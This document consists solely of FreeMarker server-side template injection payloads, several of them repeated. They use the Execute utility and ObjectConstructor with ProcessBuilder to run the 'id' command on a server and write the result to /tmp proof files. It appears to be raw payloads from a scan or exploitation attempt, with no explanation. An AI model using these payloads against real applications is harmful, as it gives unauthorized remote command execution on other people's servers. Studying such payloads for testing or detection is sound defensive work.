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${"freemarker.template.utility.ObjectConstructor"?new()("java.lang.ProcessBuilder","sh","-c","id>/tmp/x9proof_s3 2>&1").start()} <#assign x9e="freemarker.template.utility.Execute"?new()>${x9e("id>/tmp/x9proof_s2 2>&1")} <#assign x9e="freemarker.template.utility.Execute"?new()>${x9e("id>/tmp/x9proof_s2 2>&1")} ${"freemarker.template.utility.Execute"?new()("id>/tmp/x9proof_s1 2>&1")} ${"freemarker.template.utility.Execute"?new()("id>/tmp/x9proof_s1 2>&1")}